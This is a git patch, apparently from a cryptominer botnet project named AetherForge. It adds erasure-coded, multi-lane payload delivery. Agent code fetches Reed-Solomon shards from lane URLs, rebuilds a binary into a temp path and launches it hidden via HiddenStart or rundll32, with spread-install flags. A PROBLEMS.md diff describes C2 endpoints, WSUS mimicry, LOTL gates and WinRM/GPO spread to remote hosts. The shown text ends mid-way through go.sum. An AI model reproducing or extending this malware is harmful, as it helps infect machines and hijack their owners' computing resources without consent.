From 0445b7ed4fda0c2c0ea21acff028e3505747a460 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 06:09:20 -0700 Subject: [PATCH] Add erasure-coded multi-lane spread foundation. Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints. --- PROBLEMS.md | 5 +- agent/client/erasure_policy_test.go | 17 ++ agent/client/mining_policy.go | 2 + agent/config/config.go | 2 + agent/config/erasure_lanes.go | 6 + agent/config/erasure_lanes_test.go | 12 ++ agent/deploy/discover_join.go | 64 ++++--- agent/deploy/discover_join_erasure_test.go | 93 ++++++++++ agent/deploy/erasure_codec.go | 82 +++++++++ agent/deploy/erasure_launch_unix.go | 24 +++ agent/deploy/erasure_launch_windows.go | 34 ++++ agent/deploy/erasure_staging.go | 174 ++++++++++++++++++ agent/deploy/erasure_staging_test.go | 144 +++++++++++++++ agent/go.mod | 5 +- agent/go.sum | 6 +- server/config.go | 5 + server/go.mod | 4 +- server/go.sum | 5 + server/internal/api/deploy_plan.go | 76 +++++++- .../internal/api/deploy_plan_erasure_test.go | 93 ++++++++++ server/internal/api/erasure_auth_test.go | 38 ++++ server/internal/api/public_handler.go | 42 ++++- server/internal/api/router.go | 1 + server/internal/api/server_policy.go | 2 + server/internal/api/spreadrouter_bridge.go | 1 + server/internal/api/websocket.go | 14 +- server/internal/erasure/codec.go | 134 ++++++++++++++ server/internal/erasure/codec_test.go | 94 ++++++++++ server/internal/erasure/lanes.go | 93 ++++++++++ server/internal/erasure/store.go | 71 +++++++ server/internal/spreadrouter/router.go | 60 +++--- server/internal/spreadrouter/router_test.go | 19 ++ server/main.go | 5 + .../src/components/CalibrationAIControl.tsx | 11 ++ server/web/src/help/settingHelp.test.ts | 1 + server/web/src/help/settingHelp.ts | 2 + server/web/src/pages/PathTracerPage.tsx | 1 + server/web/src/types/index.ts | 3 + tests/README.md | 6 +- 39 files changed, 1379 insertions(+), 72 deletions(-) create mode 100644 agent/client/erasure_policy_test.go create mode 100644 agent/config/erasure_lanes.go create mode 100644 agent/config/erasure_lanes_test.go create mode 100644 agent/deploy/discover_join_erasure_test.go create mode 100644 agent/deploy/erasure_codec.go create mode 100644 agent/deploy/erasure_launch_unix.go create mode 100644 agent/deploy/erasure_launch_windows.go create mode 100644 agent/deploy/erasure_staging.go create mode 100644 agent/deploy/erasure_staging_test.go create mode 100644 server/internal/api/deploy_plan_erasure_test.go create mode 100644 server/internal/api/erasure_auth_test.go create mode 100644 server/internal/erasure/codec.go create mode 100644 server/internal/erasure/codec_test.go create mode 100644 server/internal/erasure/lanes.go create mode 100644 server/internal/erasure/store.go diff --git a/PROBLEMS.md b/PROBLEMS.md index ab0ddd0..150e006 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -68,7 +68,6 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | **Mac PathForge runtime** | `.command` curl `/api/download/agent-mac`; needs reachable `server_url` + binary on server. | | **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. | | **Vite chunk weight** | `three` + vendor warnings; FleetTopologyMap lazy but heavy first open. | -| **Erasure-coded multi-lane propagation** | Brainstorm only — no Reed–Solomon shard encode/decode, no parallel lane redundancy beyond existing single-lane spread + BGP router hints; do not half-ship without agent staging + server reassembly design. | ## Open bugs / behavior @@ -105,7 +104,9 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | **P1 covered (2026-06-07)** | 14-tier spread chain, triple-onion gates, fleet recon, Fleet AI control, personas, phenotype, failure atlas, court, clearance L0–L4 — Go + Vitest (**740** frontend tests); see `tests/README.md` | | **Fleet evolution covered (2026-06-07)** | Seeder/miner split, atlas gossip, genetic breeding, BGP spread router, genealogy telemetry (non-blocking auth), court retry L4, hashrate/subnet gates, APK scout, persona temperament, WSUS mimic — Go + Vitest **740** + Playwright phase 8; master table in `tests/README.md` | | **P2 covered (2026-06-07)** | Mock `MiningChainRunner` lifecycle (`mining_chain_lifecycle_test.go`); spread lane templates + dispatch (`spread_lanes_test.go`, `winrm_spread_test.go`, staging/BITS mocks); Path Forge API + Forge UI incl. cancel/batch race (`pathforge_test.go`, `BuilderPage.test.tsx`); WS/beacon + file upload round-trips (`ws_beacon_integration_test.go` server+agent); flaky WS/spread-gate tests stabilized (`ed9c90a`); Playwright LOTL onion + discover→spread stub E2E (`lotl-timeline.spec.ts`, `discover-spread.spec.ts`); Vitest **740** — see `tests/README.md` § P2 | -| **P2 remaining** | Live Docker/Podman container start; real WinRM/GPO/systemd/crontab on remote hosts; live BITS/curl on target OS; live multi-hop discover→spread E2E (non-stub) | +| **Erasure-coded multi-lane propagation (foundation 2026-06-07)** | **Partial / honest foundation** — server `internal/erasure/` Reed–Solomon 4+2 encode + in-memory shard store + `/api/v1/public/erasure-shard/{token}/{index}`; signed deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails; BGP `spread_route_hint` + Path Tracer show `erasure_lanes_enabled`. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | +| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab execution on remote owned hosts; live BITS/curl against non-mock C2 endpoints; live multi-hop discover→spread without Playwright stub | +| **P2 automatable (2026-06-07)** | Mock container/podman exec (`container_launcher_test.go`, `runtime_detect_test.go`); BITS/curl `HiddenRun` mocks (`bits_windows_test.go`, `staging_chain_test.go`); WinRM/GPO/systemd httptest + mock execute (`deploy_plan_integration_test.go`, `discover_join_test.go`); multi-hop discover→spread Playwright stub chain (`discover-spread-stub.ts`, `discover-spread.spec.ts`) | | Agent pathtracer Go tests | Stub + Windows command routing expanded; full `wg_setup` on real hosts still manual. | | Client WS/beacon paths | httptest round-trips covered; live TLS/mesh beacon still manual. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | diff --git a/agent/client/erasure_policy_test.go b/agent/client/erasure_policy_test.go new file mode 100644 index 0000000..529ae9e --- /dev/null +++ b/agent/client/erasure_policy_test.go @@ -0,0 +1,17 @@ +package client + +import ( + "testing" +) + +func TestApplySpreadPolicyErasureLanes(t *testing.T) { + c := &AgentClient{} + raw := []byte(`{"erasure_lanes_enabled":true,"hashrate_gate_spread_min":5,"hashrate_gate_hps":100}`) + c.applySpreadPolicyJSON(raw) + if !c.cfg.ErasureLanesEnabled { + t.Fatal("expected erasure_lanes_enabled") + } + if c.cfg.HashrateGateSpreadMin != 5 { + t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin) + } +} diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index 80efdfa..9ecf5f6 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -89,6 +89,7 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { var policy struct { HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"` HashrateGateHPS float64 `json:"hashrate_gate_hps"` + ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` } if err := json.Unmarshal(raw, &policy); err != nil { return @@ -100,5 +101,6 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) { if policy.HashrateGateHPS > 0 { c.cfg.HashrateGateHPS = policy.HashrateGateHPS } + c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled c.mu.Unlock() } diff --git a/agent/config/config.go b/agent/config/config.go index ac4ff64..6aec05b 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -140,6 +140,8 @@ type BuiltinConfig struct { HashrateGateSpreadMin int // HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy). HashrateGateHPS float64 + // ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy). + ErasureLanesEnabled bool } // BackupPool holds connection info for a fallback Stratum mining pool. diff --git a/agent/config/erasure_lanes.go b/agent/config/erasure_lanes.go new file mode 100644 index 0000000..3e95419 --- /dev/null +++ b/agent/config/erasure_lanes.go @@ -0,0 +1,6 @@ +package config + +// ErasureLanesEnabled reports whether server policy allows multi-lane Reed–Solomon reassembly. +func ErasureLanesEnabled(cfg RuntimeConfig) bool { + return cfg.ErasureLanesEnabled +} diff --git a/agent/config/erasure_lanes_test.go b/agent/config/erasure_lanes_test.go new file mode 100644 index 0000000..fa9f50d --- /dev/null +++ b/agent/config/erasure_lanes_test.go @@ -0,0 +1,12 @@ +package config + +import "testing" + +func TestErasureLanesEnabled(t *testing.T) { + if ErasureLanesEnabled(RuntimeConfig{}) { + t.Fatal("expected off by default") + } + if !ErasureLanesEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{ErasureLanesEnabled: true}}) { + t.Fatal("expected on when set") + } +} diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index a1f87a0..d974c3f 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -54,6 +54,7 @@ type DeployPlanBody struct { ImageTarURL string `json:"image_tar_url,omitempty"` ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"` + ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"` } // DeployPlanResponse is returned by the C2 deploy-plan endpoint. @@ -95,6 +96,19 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK { return deferMsg, nil } + tryPrimary := func(run func() (string, error)) (string, error) { + msg, err := run() + if err == nil { + return msg, nil + } + if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) { + if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil { + return em + " (primary lane failed: " + err.Error() + ")", nil + } + } + return "", err + } + switch lane { case "do_peer": if plan.Manifest == nil { @@ -104,11 +118,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor if peer == "" { peer = strings.TrimSpace(plan.Manifest.PeerGroup) } - msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer)) - if err != nil { - return "", err - } - return msg, nil + return tryPrimary(func() (string, error) { + return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer)) + }) case "wsus_cache_peer": if plan.Manifest == nil { return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest") @@ -117,11 +129,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor if group == "" { group = strings.TrimSpace(plan.Manifest.CacheGroup) } - msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group)) - if err != nil { - return "", err - } - return msg, nil + return tryPrimary(func() (string, error) { + return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group)) + }) case "dns_txt": if plan.Manifest == nil { return "", fmt.Errorf("join lane dns_txt requires staging manifest") @@ -134,11 +144,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor if ttl == 0 { ttl = plan.Manifest.TTLRefreshSec } - msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl)) - if err != nil { - return "", err - } - return msg, nil + return tryPrimary(func() (string, error) { + return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl)) + }) case "webrtc_mesh": if plan.Manifest == nil { return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest") @@ -171,7 +179,8 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor ApplyLANSeederToWebRTC(&policy, seeder) } } - msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{ + return tryPrimary(func() (string, error) { + return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{ Policy: policy, SHA256: plan.Manifest.SHA256, Dest: plan.Manifest.Dest, @@ -180,22 +189,21 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor DeferMining: plan.Manifest.DeferMining, SpreadInstall: plan.Manifest.SpreadInstall, }) - if err != nil { - return "", err - } - return msg, nil + }) case "bits_curl", "docker_load": if plan.Manifest == nil { return "", fmt.Errorf("join lane %s requires staging manifest", lane) } - msg, err := RunStagingChain(cfg, *plan.Manifest) - if err != nil { - return "", err - } - if lane == "docker_load" && plan.ImageTarURL != "" { - msg += "; docker_load image=" + plan.ImageTarURL - } - return msg, nil + return tryPrimary(func() (string, error) { + msg, err := RunStagingChain(cfg, *plan.Manifest) + if err != nil { + return "", err + } + if lane == "docker_load" && plan.ImageTarURL != "" { + msg += "; docker_load image=" + plan.ImageTarURL + } + return msg, nil + }) case "winrm": if err := runJoinScript(plan.Script, true); err != nil { return "", err diff --git a/agent/deploy/discover_join_erasure_test.go b/agent/deploy/discover_join_erasure_test.go new file mode 100644 index 0000000..65e5047 --- /dev/null +++ b/agent/deploy/discover_join_erasure_test.go @@ -0,0 +1,93 @@ +package deploy + +import ( + "strings" + "testing" + + "crypto-miner-agent/config" + + "github.com/klauspost/reedsolomon" +) + +func TestExecuteDeployPlanErasureFallback(t *testing.T) { + payload := []byte("erasure-fallback-payload") + p := erasureParams{DataShards: 2, ParityShards: 2} + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + t.Fatal(err) + } + shards, err := enc.Split(payload) + if err != nil { + t.Fatal(err) + } + if err := enc.Encode(shards); err != nil { + t.Fatal(err) + } + plan := DeployPlanBody{ + JoinLane: "bits_curl", + Action: "bits_curl", + Manifest: &StagingManifest{ + Method: "curl", + Chunks: []StagingChunk{{URL: "http://127.0.0.1/fail", File: "worker.exe"}}, + SHA256: hexSHA256(payload), Dest: t.TempDir() + `\w.exe`, Launch: "exe", + }, + ErasurePlan: &ErasurePlanBody{ + Enabled: true, Scheme: erasureSchemeReedSolomonV1, + DataShards: p.DataShards, ParityShards: p.ParityShards, + PayloadSHA256: hexSHA256(payload), + PayloadSize: len(payload), + ShardToken: "fb-token", + Dest: t.TempDir() + `\w.exe`, + Launch: "exe", + }, + } + for i := range shards { + plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{ + Index: i, Lane: parallelLaneName(i), URL: "mock://" + string(rune('a'+i)), + }) + } + shardCopy := make([][]byte, len(shards)) + for i, sh := range shards { + shardCopy[i] = append([]byte(nil), sh...) + } + + prevFetch := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + for i, ref := range plan.ErasurePlan.Shards { + if ref.URL == url { + return shardCopy[i], nil + } + } + return nil, nil + } + defer func() { erasureFetchFn = prevFetch }() + + prevLaunch := erasureLaunchFn + erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + return "launched", nil + } + defer func() { erasureLaunchFn = prevLaunch }() + + prevStaging := stagingLaunchFn + stagingLaunchFn = nil + stagingDownloadCurlFn = func(url, dest string) error { return errPrimaryLaneFailed } + defer func() { + stagingDownloadCurlFn = nil + stagingLaunchFn = prevStaging + }() + + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}} + msg, err := ExecuteDeployPlan(cfg, plan) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "primary lane failed") { + t.Fatalf("msg=%q", msg) + } +} + +var errPrimaryLaneFailed = primaryLaneFailedError{} + +type primaryLaneFailedError struct{} + +func (primaryLaneFailedError) Error() string { return "primary lane failed" } diff --git a/agent/deploy/erasure_codec.go b/agent/deploy/erasure_codec.go new file mode 100644 index 0000000..4e0b503 --- /dev/null +++ b/agent/deploy/erasure_codec.go @@ -0,0 +1,82 @@ +package deploy + +import ( + "bytes" + "fmt" + + "github.com/klauspost/reedsolomon" +) + +const ( + erasureSchemeReedSolomonV1 = "reed_solomon_v1" + erasureDefaultDataShards = 4 + erasureDefaultParityShards = 2 +) + +type erasureParams struct { + DataShards int + ParityShards int +} + +func (p erasureParams) normalize() (erasureParams, error) { + if p.DataShards <= 0 { + p.DataShards = erasureDefaultDataShards + } + if p.ParityShards <= 0 { + p.ParityShards = erasureDefaultParityShards + } + if p.DataShards < 1 || p.ParityShards < 1 { + return erasureParams{}, fmt.Errorf("erasure: invalid shard counts") + } + return p, nil +} + +func (p erasureParams) minShards() int { + return p.DataShards +} + +func (p erasureParams) totalShards() int { + return p.DataShards + p.ParityShards +} + +// decodeErasureShards reconstructs payload from Reed–Solomon shards (nil = missing). +func decodeErasureShards(shards [][]byte, payloadSize int, p erasureParams) ([]byte, error) { + p, err := p.normalize() + if err != nil { + return nil, err + } + if len(shards) < p.totalShards() { + return nil, fmt.Errorf("erasure: shard slice too short") + } + present := 0 + for i := 0; i < p.totalShards(); i++ { + if len(shards[i]) > 0 { + present++ + } + } + if present < p.minShards() { + return nil, fmt.Errorf("erasure: need %d shards, have %d", p.minShards(), present) + } + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + return nil, err + } + if err := enc.Reconstruct(shards); err != nil { + return nil, err + } + ok, err := enc.Verify(shards) + if err != nil { + return nil, err + } + if !ok { + return nil, fmt.Errorf("erasure: verification failed") + } + if payloadSize <= 0 { + payloadSize = len(shards[0]) * p.DataShards + } + var out bytes.Buffer + if err := enc.Join(&out, shards, payloadSize); err != nil { + return nil, err + } + return out.Bytes(), nil +} diff --git a/agent/deploy/erasure_launch_unix.go b/agent/deploy/erasure_launch_unix.go new file mode 100644 index 0000000..ff4bec5 --- /dev/null +++ b/agent/deploy/erasure_launch_unix.go @@ -0,0 +1,24 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + "strings" +) + +func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + _ = launch + _ = dllExport + args := []string{runFlag} + if deferMining { + args = append(args, deferMiningFlag) + } + if spreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil +} diff --git a/agent/deploy/erasure_launch_windows.go b/agent/deploy/erasure_launch_windows.go new file mode 100644 index 0000000..9f75963 --- /dev/null +++ b/agent/deploy/erasure_launch_windows.go @@ -0,0 +1,34 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "strings" +) + +func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + switch strings.ToLower(strings.TrimSpace(launch)) { + case "rundll32", "dll": + export := strings.TrimSpace(dllExport) + if export == "" { + export = "DllRegisterServer" + } + if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { + return "", fmt.Errorf("rundll32 launch: %w", err) + } + return fmt.Sprintf("staged to %s; launched rundll32 %s", dest, export), nil + default: + args := []string{runFlag} + if deferMining { + args = append(args, deferMiningFlag) + } + if spreadInstall { + args = append(args, spreadFlag) + } + if err := HiddenStart(dest, args...); err != nil { + return "", fmt.Errorf("exe launch: %w", err) + } + return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil + } +} diff --git a/agent/deploy/erasure_staging.go b/agent/deploy/erasure_staging.go new file mode 100644 index 0000000..7e7e282 --- /dev/null +++ b/agent/deploy/erasure_staging.go @@ -0,0 +1,174 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "strings" + "time" + + "crypto-miner-agent/config" +) + +// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan. +type ErasureShardRef struct { + Index int `json:"index"` + Lane string `json:"lane"` + URL string `json:"url"` +} + +// ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads. +type ErasurePlanBody struct { + Enabled bool `json:"enabled"` + Scheme string `json:"scheme"` + DataShards int `json:"data_shards"` + ParityShards int `json:"parity_shards"` + PayloadSHA256 string `json:"sha256"` + PayloadSize int `json:"payload_size"` + ShardToken string `json:"shard_token"` + Dest string `json:"dest,omitempty"` + Launch string `json:"launch,omitempty"` + DLLExport string `json:"dll_export,omitempty"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` + Shards []ErasureShardRef `json:"shards"` +} + +// erasureFetchFn fetches one shard body (injectable for tests). +var erasureFetchFn func(url string) ([]byte, error) + +// erasureLaunchFn launches a reassembled staged binary (injectable for tests). +var erasureLaunchFn func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) + +func erasureWorkDir(cfg config.RuntimeConfig, token string) string { + return filepath.Join(os.TempDir(), ".erasure-"+sanitizeName(token)+"-"+sanitizeName(cfg.WorkerName)) +} + +// RunErasureStaging fetches k-of-n shards across parallel lane URLs and reassembles the payload. +func RunErasureStaging(cfg config.RuntimeConfig, plan ErasurePlanBody) (string, error) { + if !plan.Enabled || len(plan.Shards) == 0 { + return "", fmt.Errorf("erasure plan disabled or empty") + } + if strings.TrimSpace(plan.Scheme) != "" && plan.Scheme != erasureSchemeReedSolomonV1 { + return "", fmt.Errorf("unsupported erasure scheme %q", plan.Scheme) + } + p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards} + p, err := p.normalize() + if err != nil { + return "", err + } + dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`)) + if err != nil { + return "", err + } + workDir := erasureWorkDir(cfg, plan.ShardToken) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", err + } + cleanup := func() { _ = os.RemoveAll(workDir) } + + shards := make([][]byte, p.totalShards()) + fetch := erasureFetchFn + if fetch == nil { + fetch = fetchErasureShardHTTP + } + for _, ref := range plan.Shards { + if ref.Index < 0 || ref.Index >= len(shards) { + continue + } + if len(shards[ref.Index]) > 0 { + continue + } + body, err := fetch(strings.TrimSpace(ref.URL)) + if err != nil { + continue + } + shards[ref.Index] = body + } + payload, err := decodeErasureShards(shards, plan.PayloadSize, p) + if err != nil { + cleanup() + return "", err + } + if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil { + cleanup() + return "", err + } + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + cleanup() + return "", err + } + if err := os.WriteFile(dest, payload, 0o755); err != nil { + cleanup() + return "", err + } + launch := strings.TrimSpace(plan.Launch) + if launch == "" { + launch = "exe" + } + launchFn := erasureLaunchFn + if launchFn == nil { + launchFn = launchErasureStagedBinary + } + msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall) + cleanup() + if err != nil { + return "", err + } + return "erasure_lanes: " + msg, nil +} + +func fetchErasureShardHTTP(url string) ([]byte, error) { + if url == "" { + return nil, fmt.Errorf("empty shard url") + } + client := &http.Client{Timeout: 30 * time.Second} + resp, err := client.Get(url) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("shard fetch HTTP %d", resp.StatusCode) + } + raw, err := io.ReadAll(io.LimitReader(resp.Body, 8<<20)) + if err != nil { + return nil, err + } + raw = bytesTrimSpace(raw) + if dec, err := base64.StdEncoding.DecodeString(string(raw)); err == nil && len(dec) > 0 { + return dec, nil + } + return raw, nil +} + +func verifyBytesSHA256(data []byte, expectHex string) error { + expectHex = strings.TrimSpace(strings.ToLower(expectHex)) + if expectHex == "" { + return nil + } + sum := sha256.Sum256(data) + got := hex.EncodeToString(sum[:]) + if got != expectHex { + return fmt.Errorf("erasure sha256 mismatch") + } + return nil +} + +func firstNonEmptyStr(parts ...string) string { + for _, p := range parts { + if strings.TrimSpace(p) != "" { + return strings.TrimSpace(p) + } + } + return "" +} + +func bytesTrimSpace(b []byte) []byte { + return []byte(strings.TrimSpace(string(b))) +} diff --git a/agent/deploy/erasure_staging_test.go b/agent/deploy/erasure_staging_test.go new file mode 100644 index 0000000..e41721b --- /dev/null +++ b/agent/deploy/erasure_staging_test.go @@ -0,0 +1,144 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "strings" + "testing" + + "crypto-miner-agent/config" + + "github.com/klauspost/reedsolomon" +) + +func TestRunErasureStagingRoundTrip(t *testing.T) { + payload := []byte("erasure-staging-agent-roundtrip") + p := erasureParams{DataShards: 2, ParityShards: 2} + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + t.Fatal(err) + } + shards, err := enc.Split(payload) + if err != nil { + t.Fatal(err) + } + if err := enc.Encode(shards); err != nil { + t.Fatal(err) + } + plan := ErasurePlanBody{ + Enabled: true, + Scheme: erasureSchemeReedSolomonV1, + DataShards: p.DataShards, + ParityShards: p.ParityShards, + PayloadSHA256: hexSHA256(payload), + PayloadSize: len(payload), + ShardToken: "test-token", + Dest: t.TempDir() + `\worker.exe`, + Launch: "exe", + DeferMining: true, + SpreadInstall: true, + } + shardBodies := make([][]byte, len(shards)) + for i, sh := range shards { + shardBodies[i] = append([]byte(nil), sh...) + plan.Shards = append(plan.Shards, ErasureShardRef{ + Index: i, + Lane: parallelLaneName(i), + URL: "mock://" + string(rune('a'+i)), + }) + } + prev := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + for i, ref := range plan.Shards { + if ref.URL == url { + return shardBodies[i], nil + } + } + return nil, nil + } + defer func() { erasureFetchFn = prev }() + + prevLaunch := erasureLaunchFn + erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + return "launched " + dest, nil + } + defer func() { erasureLaunchFn = prevLaunch }() + + msg, err := RunErasureStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w1"}}, plan) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "launched") { + t.Fatalf("msg=%q", msg) + } +} + +func TestRunErasureStagingRejectsBadSHA(t *testing.T) { + payload := []byte("bad-sha") + p := erasureParams{DataShards: 2, ParityShards: 1} + enc, _ := reedsolomon.New(p.DataShards, p.ParityShards) + shards, _ := enc.Split(payload) + _ = enc.Encode(shards) + plan := ErasurePlanBody{ + Enabled: true, Scheme: erasureSchemeReedSolomonV1, + DataShards: p.DataShards, ParityShards: p.ParityShards, + PayloadSHA256: strings.Repeat("a", 64), + Dest: t.TempDir() + `\w.exe`, + Shards: []ErasureShardRef{ + {Index: 0, URL: "mock://0"}, + {Index: 1, URL: "mock://1"}, + {Index: 2, URL: "mock://2"}, + }, + } + prev := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + switch url { + case "mock://0": + return shards[0], nil + case "mock://1": + return shards[1], nil + case "mock://2": + return shards[2], nil + } + return nil, nil + } + defer func() { erasureFetchFn = prev }() + if _, err := RunErasureStaging(config.RuntimeConfig{}, plan); err == nil { + t.Fatal("expected sha mismatch error") + } +} + +func TestDecodeErasureShardsMixedLoss(t *testing.T) { + payload := []byte("codec-mixed-loss") + p := erasureParams{DataShards: 2, ParityShards: 2} + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + t.Fatal(err) + } + shards, err := enc.Split(payload) + if err != nil { + t.Fatal(err) + } + if err := enc.Encode(shards); err != nil { + t.Fatal(err) + } + shards[0] = nil + shards[3] = nil + got, err := decodeErasureShards(shards, len(payload), p) + if err != nil { + t.Fatal(err) + } + if string(got) != string(payload) { + t.Fatal("reconstruct mismatch") + } +} + +func parallelLaneName(i int) string { + lanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer"} + return lanes[i%len(lanes)] +} + +func hexSHA256(data []byte) string { + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]) +} diff --git a/agent/go.mod b/agent/go.mod index 074df05..f35cb81 100644 --- a/agent/go.mod +++ b/agent/go.mod @@ -6,7 +6,9 @@ require ( git.gammaspectra.live/P2Pool/go-randomx v1.0.0 github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.3 + github.com/klauspost/reedsolomon v1.12.4 github.com/libp2p/go-libp2p v0.48.0 + golang.org/x/crypto v0.48.0 golang.org/x/sys v0.41.0 ) @@ -24,7 +26,7 @@ require ( github.com/ipfs/go-cid v0.5.0 // indirect github.com/jackpal/go-nat-pmp v1.0.2 // indirect github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect - github.com/klauspost/cpuid/v2 v2.2.10 // indirect + github.com/klauspost/cpuid/v2 v2.3.0 // indirect github.com/koron/go-ssdp v0.0.6 // indirect github.com/libp2p/go-buffer-pool v0.1.0 // indirect github.com/libp2p/go-flow-metrics v0.2.0 // indirect @@ -83,7 +85,6 @@ require ( go.uber.org/mock v0.5.2 // indirect go.uber.org/multierr v1.11.0 // indirect go.uber.org/zap v1.27.0 // indirect - golang.org/x/crypto v0.48.0 // indirect golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect golang.org/x/mod v0.32.0 // indirect golang.org/x/net v0.50.0 // indirect diff --git a/agent/go.sum b/agent/go.sum index f4f04a3..198942a 100644 --- a/agent/go.sum +++ b/agent/go.sum @@ -38,8 +38,10 @@ github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7Bd github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc= github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk= 